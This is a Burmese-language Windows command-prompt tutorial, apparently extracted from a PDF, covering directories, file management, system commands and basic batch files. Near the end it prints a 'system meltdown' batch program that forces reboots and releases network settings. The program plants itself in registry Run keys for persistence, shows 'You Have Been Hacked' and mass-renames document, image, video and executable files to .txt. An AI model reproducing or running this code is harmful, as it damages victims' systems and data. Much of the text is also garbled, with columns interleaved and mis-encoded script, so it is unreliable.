About CMD

Pone Yeik Shwe Sar Media group Pone Yeik Shwe Sar Media group
Contents
CMD အသဵု့ခ္နညး့ (BASIC)
1. Introduction
2. Getting Start Introduction
3. The Directory
About CMD command
4. Managing Files
5. System Commands cmd command မ္ာ့သညး computer ကို keyboard ႏြငး႕အသဵု့်ပဳရသညးံ MS-DOS Operating
6. Batch File Programming System မြ အစ်ပဳလာေသာ command မ္ာ့်ဖစးပါတယး။ ယေန႔ Graphic User Interface(GUI)
ႏြငး႕ operating system မ္ာ့တျငးသာမနး user မ္ာ့အေန်ဖငး႕အသဵု့မ်ပဳေတာံေသားလညး့
7. List of CMD commands
ကျနး်ပဴတာကိုစိတးွငးစာ့သူမ္ာ့၊ Window certificated လကးမြတးအတျကး ေ်ဖဆိုသူမ္ာ့၊
8. List of Run Box commands
hardware engineer မ္ာ့အတျကး အသဵု့်ပဳေနရဆဲ်ဖစးပါတယး။ အထူ့သ်ဖငး႕ virus
ႏြငးံပတးသကးေသာ troubleshooting မ္ာ့အတျကး အသဵု့ွငးေနဆဲ်ဖစးပါတယး။ ဒါေၾကာငးံ cmd
command အ်ပငး ကျနး်ပဴတာအသဵု့်ပဳရတာလျယးကူေစရနး Run box ႏြငံး ကျနး်ပဴတာအသဵု့်ပဳရနး
လျယးကူေအာငး ကူညီ ေပ့ႏိုငးေသာ batch program
အသဵု့်ပဳနညး့အခ္ိဳ႕ကိုပါထညးံသျငး့ေဖား်ပေပ့လိုကးပါတယး။ ကျနး်ပဴတာ အသဵု့်ပဳသူလူနညး့စုသာ
CMD အေၾကာငး့ကို စိတွ
း ငးစာ့ၾကပါတယး။ ဒါေပမယးံသူတို႕အတျကးဒီ command
ေတျကိုေလံလာဖုိ႔ အခကးအခဲအမ္ာ့ၾကီ့ရြိ ေနပါတယး။ အထူ့သ်ဖငး႕စာအုပးရြာ့ပါ့မႈ၊
အ်ပညးံအစဵုမပါွငးမႈေတျပါ။ အမ္ာ့စုဟာ command သာပါွငး်ပီ့ေတာံ အသဵု့်ပဳ
ပဵမ
ု ပါွငးၾကပါဘူ့။ အဲဒါေၾကာငးံ ဒီစာအုပးမြာ အသဵု့်ပဳပဵုကို ်ပညးံ်ပညးံစဵုစဵုထညးံသျငး့ေပ့ထာ့ပါတယး။
လိုအပးသညးမ္ာ့ကို လညး့ mail ်ဖငး႕အၾကဵေပ့ႏိုငးပါတယး။
[Pick the date]
phonezinoo@gmail.com
oD&r
d *Fvm&yf? NzdK;a0aps;ajrmufxdyf? rdwv
D¬ mNrdKU/ oD&r
d *Fvm&yf? NzdK;a0aps;ajrmufxdyf? rdwDv
¬ mNrdKU/
PhoneGyi
Root
Separators
Aurora
directory
------------------------------------------------------------------------------------------------
Directories
---------------
File မ္ာ့ကို group လိုကးမ္ာ့စျာသိမး့ထာ့ေသာေနရာမ္ာ့ကို directroies လို႕ေခၚပါတယး။
Getting Start
Window logo+R ဆိုရငး run box တကးလာမယး။အဲဒီထဲမြာ cmd ကိုရိုကး enter ႏိပ
ြ းပါ။
Cmd box က္လာပါမယး။အဲဒီ box ဟာကျ္နးေတားတို႔လိုအပးတ႕ဲ command The current directories
ေတျရိုကးရမညးံေနရာပဲ ်ဖစးပါတယး။ ကျ္နးေတားံတို႔ပထမဆဵု့ cmd box
Current directories ဆိုတာ ယခု်ပေရာကးရြိေနတဲ႕ directory ကိုေ်ပာတာ်ဖစးပါတယး။
ထဲမြာတညးေနရာတစးခုကို်ပထာ့တာ်မငးရမြာပါ။ ဥပမာအာ့်ဖငးံ
command ဟာ directory ရဲ႕တညးေနရာအတိအက္သိမြာသာအလုပးလုပးပါတယး။
C:\Documents and Settings\Administrator> ဆို်ပီ့်မငးရမြာပါ။ ဒါကေတာံ ေနရာ၊အမညးလျလ
ဲ ို႕မရပါဘူ့။
ဘယးကျနး်ပဴတာမဆို default အေနနဲ႕ေတျ႕ရမြာ်ဖစးပါတယး။ သူရညးညႊနး့တာကေတာံ C
directory root ၊ Documents and Settings directory ၊ Administrator sub-
Sub directories
directory ေအာကးမြာေရာကးေနတယးလို႕်ဖစးပါတယး။
Sub directories မြာတ်ခာ့ directories ေတျပါွငးပါတယး။ တ်ခာ့ directory ထဲက directories
Directory ကိုေလ႕လာဖုိ႕ရာေအာကးပါပဵုကိုၾကညး်ပီ့ေလ႕လာႏိုငးပါတယး။ Directory
ေတျကို Sub directory လို႕ေခၚပါတယး။
ကိုၾကညးံ်ခငး့ အာ့်ဖငးံ လိုအပးေသာ file ၏ လမး့ေၾကာငး့ (path) ကိုရြာေဖျႏိုငးပါတယး။
[Pick the date]
The Root Directory

Drive Directory Subdirectory File
Directories ေတျအကုနးလဵု့ကိုတစးခုကလျ်ဲ ပီ့ sub directories လို႕ေခၚႏိုငးတယး။
း ၾု ကာ့မြာပဲ သဵု့လိ႕ု ပါ။ နာ့မလညးးပါက
ဘာလို႕လဲဆိုေတာ႕ Subdirectory ဟာ directory ႏြစခ
C: \ Documents and Settings \ Administrator \ aurora.txt FIG-1 ကို်ပနးၾကညးံပါ ။ ကျ္နးေတားတို႕က ဘာလို႕အဲဒီလိုေ်ပာႏိုငးတာလဲဆိုေတာံ Photo ဆိုတဲ႕
directory က wallpaper ဆိုတဲံ subdirectory ရဲ႕ေအာကးမြာရြိတယးဆိုပါေတာံ။
oD&r
D¬ mNrdKU/ oD&r
¬ mNrdKU/
တကယးလို႕ကျ္နးေတားတို႕က wallpaper ကို photo ရဲ႕အေပၚကိုထာ့လိုကးရငး Photo က

Subdirectory ်ဖစးသျာ့ပါမယး။ အဲဒီလိုေ်ပာငး့လဲမႈမရြိတဲံ directory ကို root directory
ေနာကး်ပီ့ကျ္နးေတားတို႕ cmd box မြာေပၚမယး႕စာလဵု့ေတျနဲ႕ cmd ရဲ႕ background ကို အေရာငး
လို႕ေခၚပါတယး။ အဲဒီ root directories ေတျကေတာံ partitation ချဲထာ့တဲံ drive name
ေ်ပာငး့ၾကညံးၾကတာေပါံ။ color attributes ေတျကို HEX digit ႏြစးလဵု့ကိုအသဵု့်ပဳ်ပီ့
ေတျပဲ်ဖစးပါတယး။ ဥပမာ- C ၊ D ၊ E အစရြိသညးတို႕်ဖစးပါတယး။ command box
ေဖား်ပပါတယး။ Hex ကိုေတာံ သိ်ပီ့သာ့လို႕ယူဆပါတယး။ hexa-decimal ကိုေ်ပာတာပါ။
မြာေတာံ C:\>, D:\>,E:\> ဆိုၿပီ့်မငးရမြာ်ဖစးပါတယး။
color change ရနး ေအာကးပါဇယာ့ကိုေဖား်ပေပ့လိုကးပါတယး။
0 = Black 8 = Gray
Typing a Command
1 = Blue 9 = Light Blue
အရငးဆဵု့ command စရိုကးၾကညး႕ရေအာငး။ ကျ္နးေတားတို႕ cmd box
တကးလာရငးအဲဒီအထဲမြာ ver ကိုစရိုကးပါမယး။ အဲဒါကေတာံ လကးရြိသဵု့ေနတဲံ OS ရဲ႕ 2 = Green A = Light Green
version ကိုေဖား်ပေပ့တာ်ဖစးပါတယး။
3 = Aqua B = Light Aqua
4 = Red C = Light Red
5 = Purple D = Light Purple

1. Type ver
6 = Yellow E = Light Yellow
2. Press Enter
7 = White F = Bright Whit
စာလဵု့ႏြစးလဵု့ကိုအသဵု့်ပဳရာတျငး ေရြ႕မြအေရာငးကို background အ်ဖစးအသဵု့်ပဳ်ပီ့

ေနာကးမြအေရာငးကို foreground အ်ဖစး အသဵု့်ပဳပါတယး။ ဥပမာ color 08 ကိုရုိကးလ္ြငး
အနကးေရာငးေနာကးခဵႏြငးံ မီ့ခို့ေရာငးစာလဵု့ကို ေ်ပာငး့သျာ့ပါမယး။
[Pick the date]
FIG-2 Typing command "ver"

oD&r
D¬ mNrdKU/ oD&r
¬ mNrdKU/
Directory တစးခုရဲ႕ contents ကိုၾကညးံခ္ငးလ္ြငး dir command ကိုအသဵု့်ပဳပါမယး။ အဲဒါကို

directory list လို႕ေခၚပါတယး။ ေအာကးပါပဵုကိုၾကညးံ်ခငး့အာ့်ဖငးံ သငးံ drive ရဲ႕ main directory
( root directory ) ကိုၾကညးံႏိုငးပါတယး။
FIG-3 Changing background and foreground
Tutorial - 1
1. Change your default background and foreground color of CMD box

into White background and black foreground. FIG-4 Viewing the contents of a directory
အဲဒီကေနထပး်ပီ့ေတာ႕ၾကညး႕ခ္ငးတယးဆိုရငး /w နဲ႕ /p ကိုသဵု့ႏိုငးပါတယး။
To view the contents of a directory in wide format and one screen at a time
1. Type the following at the command prompt:

dir /w
[Pick the date]
2. And type the following at the command prompt:
The Directory dir /p
Viewing the Contents of a Directory
oD&r
D¬ mNrdKU/ oD&r
¬ mNrdKU/
NOTE***: The directory list appears, with the filenames listed in wide တညးေဆာကးခ္ငးတဲံ ေနရာကို အရငးေရျ့ပါမယး။ ယခု C:\ ဆိုတဲံ root directory မြာ
format. Only filenames are listed. No information about the files' size or date တညးေဆာကးမြာ်ဖစးတဲံအတျကး cd\ လို႕ပဲ box မြာရုိကးပါမယး။ ်ပီ့ေတာံ mkdir ဒါမြမဟုတး md
and time of creation appears. နဲ႕တျ်ဲ ပီ့ေတာံေပ့ခ္ငးတဲံနာမညးတစးခုနဲ႕ တညးေဆာကးမြာ်ဖစးပါတယး။
To create a directory
Changing Directories
1. Type cd\ to change a directory.
ကျ္နးေတားတို႕ဟာ ေရာကးေနတဲံ directory ကေန ေရာကးခ္ငးတဲံ directory 2. And then type mkdir aurora
ကိုသျာ့ခ္ငးရငး cd ကိုသဵု့ပါတယး။ cd ဆိုတာကေတာံ change directory ်ဖစးပါတယး။
အဲဒါဆိုရငးကျ္နးေတားတို႕ဟာ C: root directory ထဲမြာ aurora ဆိုတဲ႕ directory တစးခု
root directory ကို တနး့သျာ့ ခ္ငးရငးေတာံ cd\ ကိုရိုကးလိုကးတာနဲ႕
တညးေဆာကး ်ပီ့်ဖစးပါတယး။ ်ဖစးမ်ဖစးကို My Computer\Local Disk C:\
ေရာကးသျာ့မြာ်ဖစးပါတယး။ ေအာကးမြာကေတာံ ဘယးလိုသျာ့ ရတယးဆိုတာကို
ထဲမြာသျာ့ၾကညးံႏိုငးပါတယး။ အခုကျ္နးေတားတို႕ဟာ C: ထဲမြာမဟုတးပဲ D: ထဲမြာ
ေဖား်ပထာ့ပါတယး။
တညးေဆာကးၾကတာေပါံ။
To create a directory in different root directory
1. Type a name of root directory which you want. Example: D: or E: and so on

2. and then type mkdir again and use a name as you like
[Pick the date]
FIG-5 Changing Directories
Creating a Directory
အခုသငးခနး့စာကေတာံ directory တစးခုကိုတညးေဆာကးတာ ်ဖစးပါတယး။ directory FIG-6 Creating a directory

တစးခုကို တညးေဆာကးဖို႕ md ဒါမြမဟုတးရငး mkdir ကိုသဵု့ပါတယး။ ကျ္နးေတားတို႕ဟာ
oD&r
D¬ mNrdKU/ oD&r
¬ mNrdKU/
Deleting a Directory 5. Delete the directory that you created.
Directory တစးခုကိုဖ္ကးလိုရငးေတာ႕အထကးကေဖား်ပထာ့သလို directory
တစးခုရဲ႕တညးေနရာကိုရြာပါ။ ထို႕ေနာကး rd command ကိုအသဵု့်ပဳ်ပီ့ဖ္ကးလုိ႕ရပါတယး။
To delete a directory
1. Make sure the command prompt looks like the following C:\aurora>
or D:\aurora> Managing Files
2. Type the command prompt: rd aurora
3. To know that you successfully deleted the aurora directory, type the
dir command ဒီအခနး့မြာေတာံ file ေတျကိုဘယးလိုေရႊ႕တယး။ ဘယးလို copy ကူ့တယး။ ဘယးလိုဖ္ကးတယး
4. The aurora directory should no longer appear in the directory list. အစရြိသညး်ဖငးံ file ေတျကို ဘယးလို manage လုပးတယးဆိုတာကို ေဖား်ပသျာ့မြာ်ဖစးပါတယး။
ဒီေလာကးဆိုရငး directory အပိုငး့ကိုေတားေတားနာ့လညးသျာ့်ပီ့လိို႕ယူဆလိုကးပါတယး။ Copying a single File

အဲဒါေၾကာငးံ ေမ့ချနး့အခ္ိဳ႕ကို ထညးံေပ့လိုကးပါတယး။
File path ကိုအရငးရြာပါ။ File path ဆိုသညးမြာ file တစးခု၏ တညးေနရာ်ဖစးပါသညး။ file
တစးခု၏ တညးေနရာကို properties မြၾကညးံပါ။ ဥပမာ D:\Youth\ChitNayTonePae.mpg သညး
ထို video File ၏တညးေနရာ်ဖစးပါတယး။ ထိုမတ
ြ ဆငး႕ကူ့ခ္ငးေသာေနရာသို႕ကူ့ပဵုမြာ
Tutorial - 2 Copy D:\Youth\ChitNayTonePae.mpg D:*.*

[Pick the date]
1. View the information of dirve D: using command prompt. ထို copy command သညး D ထဲရြိ folder youth မြာ D ထဲသို႕ကူ့ယူ်ခငး့်ဖစးပါသညး။
2. Change your directory path C:\> to D:\>. ေနာကးပဵုစဵတစးမ္ိဳ့ကေတာံ

3. Create a subdirectory at C:\windows naming "myself".
4. And rename the directory of question no.3 to "aboutme". Copy D:\Youth\ChitNayTonePae.mpg C:\
oD&r
D¬ mNrdKU/ oD&r
¬ mNrdKU/
အဲဒါကေတာံ C: directory ထဲကိုကူ့တာ်ဖစးပါတယး။
NOTE*** : File extension မ္ာ့ကိုခ္နးထာ့လို႕မရပါ။ space ်ခာ့ထာ့ေသာ

နာမညးမ္ာ့သဵု့မရပါ။
Copying a group of files
File ေတျကို group လိုကးကူ့မယးဆိုရငး " * " ကိုသဵု့ပါတယး။
To copy group of txt files from C: to D: FIG-7 Copying a group of files
File ေတျကို replace လုပးဖို႕ကို replace command ကိုသဵု့ပါတယး။ အဲဒါကိုေတာံ အထကးက

လိုပဲသဵု့ႏိုငးပါတယး။
1. Create 3 txt files in C:
2. And then create 2 folders which of one is in C: and the other in D: File extension မ္ာ့
3. Move 3 txt files to the folder which is created first. Video files Audio files Other files
4. And change directory to C:\the first created folder name
.mpg .dat .mp3 .nrg .ico .pmd
5. copy *.txt D:\the second created folder name
.mpeg .vob .wma .txt .icr .png
ေအာကးေဖား်ပပါပဵုကေတာံ group လိုကး copy ကူ့်ပီ့သျာ့တဲံပုဵ ်ဖစးပါတယး။
.3gp .avi .wav .bat .psd.wmv .exe
အထကးပါ extension မ္ာ့သညး အသဵု့မ္ာ့ေသာ extension မ္ာ့သာ်ဖစးပါတယး။

မ္ာ့စျာက္နးရြိေနပါေသ့သညး။
[Pick the date]
Renaming Files
ဒါကေတာံ file ေတျကို rename လုပးမယးေပါံ။ ကျ္နးေတားတို႕က rename လုပးဖို႕ကို ren ဆိုတဲံ
Command ကို သဵု့ပါမြာ်ဖစးပါတယး။ အခု ကျ္နးေတားတို႕က C: directory ေအာကးမြာ aurora.txt
ဆိုတဲံ file တစးခုတညးေဆာကးၾကညးံတာေပါံ။ ်ပီ့ေတာံအဲဒီ file ကို်ပနး်ပီ့ arorua.txt အ်ဖစး
်ပနးအမညး ေပ့မြာပါ။
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To open a file
To rename the aurora.txt to aruora.txt
1. Create a txt file in C: and rename it into aurora.txt
1. Type in the command prompt: ren aurora.txt arorua.txt 2. use the command: call C:\aurora.txt
Deleting a File Moving a File
File ေတျကို delete လုပးဖ႕ို del ကိုသဵု့ပါတယး။ ေစာေစာက rename လုပးခံတ

ဲ ဲံ file File မ္ာ့ကိုတစးေနရာမြတစးေနရာသို႕ ေရႊ႕ရနး move ကိုသဵု့ပါတယး။
ကိုပဲဖ္ကးၾကညး႕ၾကတာေပါံ။
To move a file
To delete a File
1. Use created file and type in the command prompt: move aurora.txt D:\
1. del arorua.txt
Deleting a Group of Files Making hidden files
File ေတျကို group လိုကးဖ္ကးဖ႕ို copy ကူ့သလိုပဲ " * " ကိုပဲသဵု့ပါတယး။

File မ္ာ့ကို hidden လုပးမယးဆိုရငး attrib +h [file path] ကိုသဵု့ပါတယး။
To make a hidden folder in D:

To delete group of files
Type the command attrib +h D:\aurora
1. Create 3 txt files in C:
်ပနးေဖားလိုပါက "_" sign ကိုသဵု့ႏိုငးပါတယး။
2. And then create 1 folder in C:
3. Move 3 txt files to the folder which is created.
[Pick the date]
4. And change directory to C:\the first created folder name Tutorial - 3

5. del *.txt
1. Create 6 txt files in drive D and copy to drive C.
Opening a File 2. Make a directory in C and move the txt files into there.
3. And then make hidden the directory which you created.
File မ္ာ့ကို ဖျင႕း ဖိ႕ု ရာအတျကး call ကိုသဵု့ပါတယး။
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System commands FIG-8 Formatting a drive
Formatting the drive
ကျ္နးေတားတို႕ဟာ drive ေတျကို cmd ထဲမြာ format လုပးႏိုငးပါတယး။ အဲဒီလို format Creating a label
လုပးဖ႕ို ကို command က format ကုိပဲသဵု့ပါတယး။ ကျ္နးေတားတို႕ ဘာမြမရြိတဲ႕ drive
Drive ေတျကို label တပးမယးဆိုရငး label command နဲ႕သဵု့ပါတယး။ ကျ္နးေတားတို႕က Local
တစးခုကို format ခ္ၾကညး႕တာေပါံ။
Disk C: ကို System လို႕ေ်ပာငး့မယးဆိုရငး
To format a drive
Use the command : label System
1. Use the command : format [drive name]
အဲဒါဆိုရငး Local Disk C ကေန System(C:) ဆို်ပီ့ေ်ပာငး့သျာ့ပါလိမးံမယး။
2. format C:
ဒါဆိုရငးသူကအတညး်ပဳခ္ကးေတာငး့ပါလိမးံမယး။ ေအာကးမြပဵုကို်ပထာ့ပါတယး။ Y
System Date
ကိုေရျ့ရငး အကုနးဖ္ကးပါမယး။ N ဆိုရငး
System date ကို်ပငးခ္ငးရငးေတာံ date ကိုသဵု့ပါတယး။ ေအာကးပါပဵုက date ်ပငးထာ့ပဵုပါ။
ေတာံ cancel ေပါံ။ /q ကိုသဵု့မယးဆိုရငး quick format အတျကးပါ။
[Pick the date]
FIG-9 Updating the system date
Viewing information about character sets

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Use the command : mode
: chcp
အထကးေဖား်ပပါ command မ္ာ့ကိုအသဵု့်ပဳခဲံတာ ေတားေတားေလ့

အသာ့က္ေနေလာကး်ပီလို႕ ယူဆ ပါတယး။ ဒါေၾကာငးံ ကျ္နးေတားလိုအပးတဲံ အခ္ကးေတျပဲ
ေ်ပာသျာ့မြာ်ဖစးပါတယး။
Checking disk
FIG-10 Creating txt by using edit command
Disk ေတျကို checking လုပးဖ႕ို အတျကး chkdsk ကိုသဵု့ပါတယး။ သူန႕ဲ အတူ /f , /v , /i ,
/c , /x အစရြိ သညးတို႕နဲ႕တျဲသဵု့ပါတယး။
command: chkdsk C:
ဘယးလိုအေသ့စိတးလုပးရလဲဆိုတာသိခ္ငးရငး help chkdsk ကိုသဵု့်ပီ့ cmd

မြာဖတးႏိုငးပါတယး။ Viewing Window installer
Window installer ကိုၾကညးံခ္ငးရငးတာံ msiexec ကိုသဵု့ပါတယး။ ဘာလို႕လဲဆိုေတာံ software

ေတျ သျငး့ဖို႕အတျကး widow installer သတးမြတးခ္ကးရြိပါတယး။
command: msiexec
Creating txt file

Viewing the files what you type
Txt file ေတျကိုဖနးတီ့မယးဆိုရငးေတာံ edit ကိုသဵု့ပါမယး။ကျ္နးေတားတို႕ဟာ
File ေတျထဲမြာ ဘာေတျေရ့ထာ့လဲဆိုတာကိုသိဖုိ႕ကို type နဲ႕သဵု့ပါတယး။ကျ္နးေတားတို႕ file
editထဲမြာကိုယးလိုခ္ငးတဲံ command ေတျကို ရိုကး်ပီ့ေတာံ batch program
[Pick the date]
ေတျကို command ထဲမြာဖျငးံ ်ပီ့်ပငးႏိုငးေအာငးလို႕ပါ။ edit command နဲ႕တျသ

ဲ ဵု့ပါတယး။
တစးခုေရ့လို႕ရပါတယး။ အဲဒီ batch program ေရ့နညး့ကိုေတာံ
ေနာကးအခနး့မြာေဖား်ပမြာ ်ဖစးပါတယး။ ေအာကးပဵုကေတာံ edit ကိုသဵု့ထာ့တဲံပဵုပါ။ command: type [file name with file extension]
Viewing the process of task manager
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သူရ႕ဲ သဵု့ပဵုက္လာပါလိမးံမယး။ ကျ္နးေတားတို႕ကေတာံ shutdown လုပးဖ႕ို ကို shutdown -s

ကျ္နးေတားတို႕ဟာ task manager ထဲကေနေခၚၾကညးံရမယးံ process ေတျကို cmd နဲ႕သဵု့ပါတယး။
မြာၾကညးံလို႕ရပါတယး။ ကျနး်ပဴတာမြာ ဘာ process ေတျ run ေနတာလဲသိခ္ငးရငး
command: shutdown -s
qprocess ကိုသဵု့ပါမယး။
ဒီေလာကးဆိုရငးေတာံ cmd အေၾကာငး့ကို ေတားေတားေလ့ရငး့ႏြီ့်ပီ့သျာ့်ပီလို႕ထငးပါတယး။
command: qprocess
ကျ္နးေတား ေနာကးအခနး့မြာ bat file programming အေ်ခခဵကိုေ်ပာ်ပမြာ်ဖစး်ပီ့ ေနာကးဆဵု့မြာ run
Managing disk partition box က command အတိုေကာကးေလ့ေတျကို ေ်ပာသျာ့ မြာ်ဖစးပါတယး။ ကျ္နးေတား
ဒီအခနး့အတျကးေတာံ tutorial မေပ့ေတာံပါဘူ့။ ဘာလို႕လဲဆိုေတာံ အေပၚက tutorial ေတျကို
Hard disk ေတျကို partition ချဲဖ႕ို နဲ႕ဖ္ကးဖ႕ို ကိုဒီ command ကိုသဵု့ပါတယး။
လုပးသျာ့ရငး နာ့လညး ေနလို႕်ဖစးပါတယး။
အဲဒါနဲ႕ဆိုငးတဲံ အခ္ကးအလကးေတျကို diskpart ? ကိုရုိကး်ပီ့ ၾကညးံႏိုငးပါတယး။
command: diskpart ?
Opening Remote Desktop Connection tool
ကျ္နးေတားတို႕ဟာ remote desktop connection tool ကိုေခၚဖို႕ရာကို mstsc

ကိုသဵု့ပါတယး။
command: mstsc Batch File Programming (မိတးဆကး)

[Pick the date]
Shutting down your computer

Batching programming ဆိုတာ ဘာလဲလို႕ ေမ့စရာရြိလာပါတယး။ အဲဒါကေတာံ cmd
ကျ္နးေတားတို႕ဟာ computer ကို shutdown လုပးဖို႕ shutdown ကိုသဵု့ပါတယး။
command ေတျန႕ဲ အလုပးလုပးႏိုငးတဲံ program အေသ့ေလ့ေတျ တညးေဆာကးတာပါ။ cmd ကို
သူန႕ဲ အတူတသ
ျဲ ဵု့ႏိုငး တာေတျကေတာံ -t -r, -f,-t XX (XX ဆိုတာ time ပါ)
window ရဲ႕ command.com ကေန handle လုပးတာပါ။ အဲဒါေၾကာငးံကျ္နးေတားတို႕ဟာ cmd
အစရြိသညး်ဖငးံ တျဲသဵု့ႏုိငးပါတယး။ shutdown ကိုရိုကးလိုကးတာနဲ႕
command ေတျကို execute လုပးဖို႕သဵု့ႏိုငးမယးံ ဖိုငးတစးခုလိုအပးလာၿပီေပါံ။ ကျ္နးေတားတို႕ file
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တစးခုကို ရြာရခကးတဲံ ေနရာ မြာထာ့မယး။ အဲဒီ file ကို ်ပနးလဲမရြာခ္ငးဘူ့။ ဒါမ္ိဳ့ဆိုရငး

bat file တစးခုလုပး်ပီ့ဖျငးံဖို႕ လုပးထာ့မယးေပါံ။ ကျ္နးေတား အစမး့ တစးခုလုပး်ပပါံမယး။
ကျ္နးေတားတို႕က D: ေအာကးက folder ငါ့ဆငးံေလာကး မြာ txt တစးခုရြိတယးဆိုပါေတာံ။
လူလဲမ်မငးေစခ္ငးဘူ့။ အလျယးလဲ ေခၚဖျငးံေစခ္ငး တယးေပါ႕။ အဲဒါဆိုရငး bat file
တစးခုလုပးၾကညးံတာေပါံ။ ကျ္နးေတားတို႕ D: ေအာကးမြာ a\b\c\d\e\aurora.txt
လို႕ေဆာကးၾကညးံမယး။ ပထမဆဵု့ကျ္နးေတားတ႕ို notepad ကို အရငးဖျငရ
းံ ပါမယး။
startmenu\allprograms\accessories\notepad.exe ကေန ဖျငမ

းံ ြာပါ။ ဒါမြမဟုတးရငး
window logo+R ကေန notepad လို႕ရိုကးလို႕ရပါတယး။အဲဒါဆိုရငး notepad
ပျငးံလာ်ပီေပါံ။ အဲဒီမြာ ကျ္နးေတားတို႕က file ေတျကို ဖျငတ
းံ ႕ဲ cmd က command call
နဲ႕တျသ
ဲ ဵု့ပါမယး။ ကျ္နးေတားတို႕က notepad ထဲမြာ
call D:\a\b\c\d\e\aurora.txt
လုိ႕ရိုကးလိုကးမယးေပါံ။ ်ပီ့ေတာံ ကျ္နးေတားတို႕ဟာ notepad ကို save လုပးပါမယး။

အဲဒီလို save လုပးတဲံအခါမြာ save type ကိုေ်ပာငး့ရပါမယး။ File name ရဲ႕ေအာကးမြာ Creating tempcleaner.bat
Save as Type : ဆို်ပီ့ေတာံ text Documents(*.txt) ကို ်ပထာ့ပါလိမးံမယး။ အဲဒါကို
ကျ္နးေတားတို႕က all files လို႕ေ်ပာငး့ပါမယး။ ်ပီ့ေတာံ အေပၚက file name မြာ အခုကျ္နးေတားက temp file ေတျကို အ်မဲရြငး့ေပ့မယးံ batch file တစးခုကို တညးေဆာကးပါမယး။
ကိုယးေပ့ခ္ငးတဲံအမညးတစးခုကို file extension *.bat နဲ႕ save လုပးရပါမယး။ ေအာကးပါ code ကိုသဵု့်ပီ့ေတာံ တညးေဆာကးၾကညးံပါ။ သူကုိ double click လုပး်ပီ့တာနဲ႕
ေအာကးပါပဵုကေတာံ .bat နဲ႕ save လုပးပဵုကို ်ပထာ့တာပါ။ C:\windows\temp ထဲမြ ဖိုငး့မ္ာ့ရြငး့ၿပီ့သာ့်ဖစးသျာ့ပါမယး။
ECHO This Batch File deletes all unwanted Temporary files from your system
[Pick the date]
ECHO Now we go to the Windows\temp directory.

cd windows\temp
ECHO Deleting unwanted temporary files....
del *.tmp
ECHO Your System is Now Clean
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System meltdown program
:CRASH
ECHO ဆိုတာကေတာံ batch printing tool တစးခုပါ။ ကုိယး်မငးခ္ငးတဲံအရာကို cmd
box ထဲမြာ ်မငးသာေအာငးေဖား်ပဖို႕ သဵု့တာ်ဖစးပါတယး။ အေပၚက batch file ကေတာံ net send * WORKGROUP ENABLED
အဲဒီံ temp ထဲမြာရြိတဲံ .tmp file ေတျအကုနးလုဵ့ကို ဖ္ကးေပ့ပါတယး။
net send * WORKGROUP ENABLED
တ်ခာ့အၾကဵမေပ့လိုတာက computer ကို မေကာငး့ႀကဵတဲံ လူ တစးေယာကး်ဖစးသျာ့မြာ
စို့ရိမးလို႕ပါ။ ဘာလို႕လဲဆိုေတာံဒီ program ေရ့နညး့က မသိတဲံလူတစးေယာကးကို
ဒုကၡေပ့လို႕အရမး့ေကာငး့ေနလို႕ပါ။ ကဲ ကျ္နးေတားတုိ႕ ေနာကးတစးခု GOTO CRASH
ေရ့ၾကညး႕ၾကတာေပါ႕။ ipconfig /release
shutdown -r -f -t0
Make to shutdown your computer echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat

ကျနး်ပဴတာကိုအလျယးတကူ shutdown လုပးဖ႕ို အတျကး တညးေဆာကးတာပါ။ ေအာကးပါ echo shutdown -r -t 11 -f>>c:windowshartlell.bat
code ကိုသဵု့ပါတယး။
echo end>>c:windowshartlell.bat
Shutdown Computer Once reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v
startAPI /t reg_sz /d c:windowshartlell.bat /f
(save as shutdown.bat)
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v
HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat

shutdown -r -f -t0
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
[Pick the date]
ကျ္နးေတားနမူနာ program ေလ့တစးခုႏြစးခုပဲ်ပတာက တလျသ

ဲ ဵု့သူေတျကို
echo end>>c:windowswimn32.bat
ေၾကာကးလို႕ပါပဲ။ ေအာကးမြာဒုကၡေပ့ႏိုငးမယးံ code နဲ႕ေရ့ထာ့တဲံ program
တစးခုကိုေဖား်ပေပ့ပါမယး။ အဲဒါေတျက သူမ္ာ့ကိုဒုကၡေပ့ဖို႕မဟုတးဘန
ဲ ဲ႕ reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v
WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
ဗဟုသုတရေအာငးလို႕ပါ။
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v
CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
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echo YOU HAVE BEEN HACKED ***** if not exist %1 goto done
REN *.DOC *.TXT
echo.>%2
REN *.JPEG *.TXT
REN *.LNK *.TXT if not exist %2 echo Cannot create output file
REN *.AVI *.TXT if not exist %2 goto done

REN *.MPEG *.TXT
del %2
REN *.COM *.TXT
echo Working...
REN *.BAT *.TXT
PAUSE :: create temporary qbasic program...
အဲဒါက system ကို ေတားေတားပ္ကးစီ့ေစႏိုငးတဲံ coding ပါ။ echo> proc$.bas :on error goto closeout
အဲဒီထကးဆို့တာေတျရြိပါေသ့တယး။ ဒါံေၾကာငးံ batch programming နဲ႕
echo>>proc$.bas open "%1" for input as #1
ကျနး်ပဴတာကိုလျယးကူစျာသဵု့ႏိုငးေအာငး အေ်ခခဵပဲ ေဖား်ပေပ့ လိုကးပါတယး။ ဒါကေတာံ
HTML code ကေန txt ကို ်ပနးေ်ပာငး့ေပ့တာ်ဖစးပါတယး။ HTML language
echo>>proc$.bas open "%2" for output as #2
ေတျကိုေလံလာေနတဲ႕လူေတျအ တျကး သငးံေလ္ားပါတယး။
::======== main loop - get input line ======
:: HTML2.BAT - HTML to text converter
echo>>proc$.bas floop:line input #1,a$
:: Syntax: html2 infile.htm outfile.ext [/link]
::======== html code stripper ==============
:: /link option leaves hypertext urls in text
[Pick the date]
echo>>proc$.bas q=1
@echo off
echo>>proc$.bas qloop:p=instr(q,a$,"<"):if p=0 goto qend
if %2.==. goto done
echo>>proc$.bas q=p+1:if mid$(a$,q,1)="/" goto qconv
if not exist %1 echo Input file not found
echo>>proc$.bas if mid$(a$,q,1)="!" goto qconv
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echo>>proc$.bas if ucase$(mid$(a$,q,1))=lcase$(mid$(a$,q,1)) goto echo>>proc$.bas le=len(a$)-3:if p=le then c$="" else c$=right$(a$,le-p)
qloop
